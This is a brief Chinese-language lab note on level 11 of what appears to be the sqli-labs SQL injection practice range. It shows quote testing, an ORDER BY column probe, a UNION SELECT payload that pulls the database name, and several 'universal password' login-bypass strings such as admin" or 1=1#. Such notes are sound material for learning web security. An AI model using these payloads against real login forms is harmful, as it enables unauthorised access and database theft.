Less-11【报错注入】

测试单引号双引号

单引号报错，之后测试列数，测试结果2列  

' order by 3 #

进行脱库，后续不赘述

' union select database(),null #

万能密码

admin")or 1=1#

admin" or 1=1#

admin ')or 1=1#